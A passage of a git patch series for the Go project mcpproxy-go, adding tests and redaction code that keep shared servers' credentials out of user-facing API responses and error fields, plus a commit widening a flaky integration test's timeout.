"X-Api-Key": sharedAPIKeyValue, + }, + OAuth: &config.OAuthConfig{ + ClientID: "public-client-id", + ClientSecret: sharedOAuthSecret, + }, + AuthBroker: &config.AuthBrokerConfig{ + Mode: config.AuthBrokerModeTokenExchange, + TokenEndpoint: "https://idp.example.com/token", + ClientID: "broker-client-id", + ClientSecret: sharedBrokerSecret, + }, + Isolation: &config.IsolationConfig{ + ExtraArgs: []string{"-e", "API_KEY=" + sharedIsolationArg}, + }, + Enabled: true, + Shared: true, + // A FIXED timestamp: the pristine-copy assertions below compare two + // independently built fixtures. + Created: time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC), + } +} + +// assertNoSharedSecrets fails naming the exact credential that escaped. +func assertNoSharedSecrets(t *testing.T, body []byte) { + t.Helper() + for _, secret := range sharedSecrets() { + assert.NotContains(t, string(body), secret, + "a shared server's credential reached an ordinary user in the clear") + } +} + +func TestListUserServers_MasksSharedServerSecrets(t *testing.T) { + shared := []*config.ServerConfig{secretBearingSharedServer()} + pristine := secretBearingSharedServer() + handlers, _ := testSetup(t, shared) + router := testRouter(handlers, defaultAuthContext()) + + req := httptest.NewRequest(http.MethodGet, "/api/v1/user/servers", nil) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + require.Equal(t, http.StatusOK, w.Code) + assertNoSharedSecrets(t, w.Body.Bytes()) + + // The response must still be USEFUL: the server is named and identifiable. + var resp ServerListResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + require.Len(t, resp.Shared, 1) + assert.Equal(t, "shared-secrets", resp.Shared[0].Name) + assert.Equal(t, "shared", resp.Shared[0].Ownership) + + // h.sharedServers is the LIVE admin config; rendering a read response must + // never mutate it (the #1142/#1146 corruption shape). + assert.True(t, reflect.DeepEqual(pristine, shared[0]), + "masking a read payload mutated the live shared config") +} + +func TestGetServer_MasksSharedServerSecrets(t *testing.T) { + shared := []*config.ServerConfig{secretBearingSharedServer()} + pristine := secretBearingSharedServer() + handlers, _ := testSetup(t, shared) + router := testRouter(handlers, defaultAuthContext()) + + req := httptest.NewRequest(http.MethodGet, "/api/v1/user/servers/shared-secrets", nil) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + require.Equal(t, http.StatusOK, w.Code) + assertNoSharedSecrets(t, w.Body.Bytes()) + + var resp ServerResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + assert.Equal(t, "shared", resp.Ownership) + assert.Equal(t, "shared-secrets", resp.Name) + + assert.True(t, reflect.DeepEqual(pristine, shared[0]), + "masking a read payload mutated the live shared config") +} + +func TestEnableServer_MasksSharedServerSecrets(t *testing.T) { + shared := []*config.ServerConfig{secretBearingSharedServer()} + pristine := secretBearingSharedServer() + handlers, _ := testSetup(t, shared) + router := testRouter(handlers, defaultAuthContext()) + + body, err := json.Marshal(EnableServerRequest{Enabled: false}) + require.NoError(t, err) + req := httptest.NewRequest(http.MethodPost, "/api/v1/user/servers/shared-secrets/enable", bytes.NewReader(body)) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + require.Equal(t, http.StatusOK, w.Code) + assertNoSharedSecrets(t, w.Body.Bytes()) + + var resp ServerResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + require.NotNil(t, resp.UserEnabled) + assert.False(t, *resp.UserEnabled, "the per-user preference must survive masking") + + assert.True(t, reflect.DeepEqual(pristine, shared[0]), + "masking a read payload mutated the live shared config") +} + +// The PERSONAL half is deliberately NOT masked, and that decision is pinned +// here rather than left implicit. +// +// A personal server's credentials are the caller's OWN — there is no +// cross-tenant disclosure to close. Masking them would be actively harmful +// without a key-bound unmask mirror on updateServer, which replaces Headers, +// Args and URL WHOLESALE from the request body: a Web UI that read the masked +// values back and PUT them would persist the masks over the user's real +// credentials. That is exactly the read-modify-write corruption of #1142/#1146. +// If personal servers are ever masked, updateServer needs +// oauth.UnmaskLiveHeaders / UnmaskLiveURL plus oauth.CheckArgvMaskEcho first. +func TestGetServer_PersonalSecretsAreNotMasked(t *testing.T) { + handlers, store := testSetup(t, nil) + router := testRouter(handlers, defaultAuthContext()) + + personal := secretBearingSharedServer() + personal.Name = "my-server" + personal.Shared = false + require.NoError(t, store.CreateUserServer(testUserID, personal)) + + req := httptest.NewRequest(http.MethodGet, "/api/v1/user/servers/my-server", nil) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + require.Equal(t, http.StatusOK, w.Code) + var resp ServerResponse + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + assert.Equal(t, "personal", resp.Ownership) + assert.Equal(t, "Bearer "+sharedHeaderToken, resp.Headers["Authorization"], + "a user's own credential must round-trip so a read-modify-write update cannot corrupt it") +} + +// The fail-closed net: EVERY route this handler registers is exercised against +// a secret-bearing shared server, and none of them may echo a credential. +// +// It is driven by the router's OWN route table rather than by a list of the +// three handlers that leaked, because a hand-listed set of doors is exactly +// what let this defect survive the #1148 sweep — listServers, getServer and +// enableServer each built the same raw ServerResponse, and a fourth route that +// does it tomorrow would be just as invisible. A new route under +// /user/servers is covered by this test the moment it is registered. +func TestUserServerRoutes_NeverEchoASharedServerSecret(t *testing.T) { + shared := []*config.ServerConfig{secretBearingSharedServer()} + handlers, _ := testSetup(t, shared) + router := testRouter(handlers, defaultAuthContext()) + + // A body that decodes cleanly as every request type this handler accepts, + // so a route is exercised for real rather than bouncing off a 400. + body := []byte(`{"enabled":false}`) + + walked := 0 + err := chi.Walk(router, func(method, route string, _ http.Handler, _ ...func(http.Handler) http.Handler) error { + if !strings.Contains(route, "/user/servers") { + return nil + } + walked++ + target := strings.ReplaceAll(route, "{name}", "shared-secrets") + // chi renders a trailing-slash subroute as "/*"; the bare path is the + // one clients call. + target = strings.TrimSuffix(target, "/*") + + req := httptest.NewRequest(method, target, bytes.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + for _, secret := range sharedSecrets() { + assert.NotContains(t, w.Body.String(), secret, + "%s %s echoed a shared server's credential (status %d)", method, route, w.Code) + } + return nil + }) + require.NoError(t, err) + assert.GreaterOrEqual(t, walked, 6, "the walk must reach every /user/servers route") +} From b1c1c2fca0800fec7fd87db46dd07913b553669f Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 13:03:31 +0300 Subject: [PATCH 09/10] fix(security): scrub retry_stopped_reason, which falls back to the raw upstream error MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Merging main brought GH #1145's `retry_stopped` trio onto contracts.Server, and TestServerFieldMaskDecisions_CoverEveryNestedLeaf caught both new text leaves with no decision — the canary doing exactly its job on a field this branch never touched. `retry_stopped_reason` is NOT the fixed catalog string its name implies. diagnostics.PermanentFailureReason falls through to `rawError` whenever the terminal code has no catalog entry, and that raw error is ci.LastError.Error() — which core.enrichTransportClosedError folds the CHILD PROCESS'S captured stderr into, and which routinely carries the upstream URL with its query credentials. So it published them on `GET /api/v1/servers` and on every `/events` servers.changed payload. It is now scrubbed in parity with last_error / health.detail / diagnostic.cause. `retry_stopped_code` is a stable MCPX_* catalog code this proxy produced and stays readable: it is the one field that says WHY a server parked. Decision rows added for both; nothing writes back through either. Co-Authored-By: Claude Opus 5 --- internal/oauth/serverconfigfields_test.go | 28 +++++++++++++++++++++++ internal/oauth/serverfields.go | 19 ++++++++++++++- 2 files changed, 46 insertions(+), 1 deletion(-) diff --git a/internal/oauth/serverconfigfields_test.go b/internal/oauth/serverconfigfields_test.go index 967eb296a..1dec03d61 100644 --- a/internal/oauth/serverconfigfields_test.go +++ b/internal/oauth/serverconfigfields_test.go @@ -9,6 +9,7 @@ import ( "github.com/stretchr/testify/require" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" ) // Issue #1148: the *config.ServerConfig door. RedactServerConfigSecrets is what @@ -202,3 +203,30 @@ func mustParseScheme(t *testing.T, raw string) string { } return "" } + +// GH #1145's `retry_stopped_reason` arrived on contracts.Server from main while +// this branch was open, and the coverage canary caught it with no decision. +// +// Its name says "catalog message", but diagnostics.PermanentFailureReason falls +// through to the RAW error whenever the terminal code has no catalog entry — +// and that raw error is ci.LastError.Error(), which +// core.enrichTransportClosedError folds the child process's captured stderr +// into. So it is upstream free text of exactly the last_error kind, and it must +// be scrubbed rather than trusted for its name. +func TestRedactServerSecretFields_ScrubsRetryStoppedReason(t *testing.T) { + srv := &contracts.Server{ + Name: "parked", + RetryStoppedReason: "dial https://api.example.com/mcp?access_token=" + ghpToken + + " failed; recent stderr:\nAPI_KEY=" + ghpToken, + RetryStoppedCode: "MCPX_STDIO_EXEC_NOT_FOUND", + } + + RedactServerSecretFields(srv) + + assert.NotContains(t, srv.RetryStoppedReason, ghpToken, + "retry_stopped_reason falls back to the raw upstream error, so it carries the same "+ + "credentials last_error does and takes the same scrub") + assert.Equal(t, "MCPX_STDIO_EXEC_NOT_FOUND", srv.RetryStoppedCode, + "the terminal code is a stable catalog identifier this proxy produced; blanking it "+ + "would cost the operator the one field that says WHY the server parked") +} diff --git a/internal/oauth/serverfields.go b/internal/oauth/serverfields.go index 9fb437b36..bffc29759 100644 --- a/internal/oauth/serverfields.go +++ b/internal/oauth/serverfields.go @@ -128,6 +128,17 @@ func RedactServerSecretFields(server *contracts.Server) { if server.LastError != "" { server.LastError = MaskDetectedSecrets(RedactSensitiveData(server.LastError)) } + // GH #1145's retry_stopped_reason is free-form UPSTREAM text, not the fixed + // catalog string its name suggests: diagnostics.PermanentFailureReason falls + // through to the raw error whenever the terminal code has no catalog + // message, and that raw error is ci.LastError.Error() — which + // core.enrichTransportClosedError folds the CHILD PROCESS'S captured stderr + // into, and which routinely carries the upstream URL with its query + // credentials. So it is scrubbed in parity with LastError / Health.Detail / + // Diagnostic.Cause rather than trusted for its name. + if server.RetryStoppedReason != "" { + server.RetryStoppedReason = MaskDetectedSecrets(RedactSensitiveData(server.RetryStoppedReason)) + } if server.Health != nil && server.Health.Detail != "" { health := *server.Health health.Detail = MaskDetectedSecrets(RedactSensitiveData(health.Detail)) @@ -284,7 +295,13 @@ var ServerFieldMaskDecisions = map[string]MaskDecision{ "connected_at": MaskDecisionNotSecret, "last_reconnect_at": MaskDecisionNotSecret, "reconnect_count": MaskDecisionNotSecret, - "tool_count": MaskDecisionNotSecret, + // GH #1145 parked-server state. `retry_stopped_code` is a stable MCPX_* + // catalog code this proxy produced. `retry_stopped_reason` falls back to the + // RAW upstream error when the code has no catalog message, so it is scrubbed + // on read exactly like last_error; nothing writes back through either. + "retry_stopped_code": MaskDecisionNotSecret, + "retry_stopped_reason": MaskDecisionNotSecret, // scrubbed free-form text + "tool_count": MaskDecisionNotSecret, // isolation_defaults is READ-ONLY output, but round 7 finding 4 re-judged // it: it is resolved from the operator-supplied GLOBAL docker_isolation // block, so a credential in the global `extra_args` lands in it verbatim. From 37759e52aa3e65585fcc491c5a5516eaa50fba34 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 13:14:51 +0300 Subject: [PATCH 10/10] test(launcher): stop TestSpawnAndWaitForURL_Integration racing CPython startup The test gave `python3 -c` 3s to cover process spawn, interpreter startup and the script's own 250ms pre-bind sleep. A loaded ubuntu-latest runner blew it ("url http://127.0.0.1:PORT/mcp not reachable in 3s ... connection refused"), failing Unit Tests on an unrelated PR; the same test runs in 0.41s locally and passed 5/5 there. What the test proves is that Spawn and WaitForURL AGREE on a real listening child, not how fast a runner can start CPython, so the budget goes to 30s (outer context 40s). No assertion is weakened: a genuinely broken WaitForURL still fails, just later, and `elapsed >= 200ms` still pins the polling behaviour because the child's 250ms sleep guarantees the first dial misses. Co-Authored-By: Claude Opus 5 --- internal/upstream/launcher/integration_test.go | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/internal/upstream/launcher/integration_test.go b/internal/upstream/launcher/integration_test.go index 6eb888059..66f5190c1 100644 --- a/internal/upstream/launcher/integration_test.go +++ b/internal/upstream/launcher/integration_test.go @@ -72,11 +72,21 @@ except KeyboardInterrupt: url := "http://127.0.0.1:" + itoa(port) + "/mcp" - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + // The budget is generous on purpose. What this test proves is that Spawn and + // WaitForURL AGREE on a real listening child — not how fast a CI runner can + // start CPython. The original 3s had to cover process spawn + interpreter + // startup + the script's own 250ms pre-bind sleep, and a loaded + // ubuntu-latest runner blew it (PR #1162: "not reachable in 3s ... connection + // refused", while the same test runs in 0.41s locally). Widening the ceiling + // costs nothing — a genuinely broken WaitForURL still fails, just later — + // and the `elapsed >= 200ms` assertion below still pins the polling + // behaviour, because the child's 250ms sleep is what guarantees a first dial + // must miss. + ctx, cancel := context.WithTimeout(context.Background(), 40*time.Second) defer cancel() start := time.Now() - err = WaitForURL(ctx, url, 3*time.Second) + err = WaitForURL(ctx, url, 30*time.Second) elapsed := time.Since(start) assert.NoError(t, err) assert.GreaterOrEqual(t, elapsed, 200*time.Millisecond, "should have polled while python warmed up")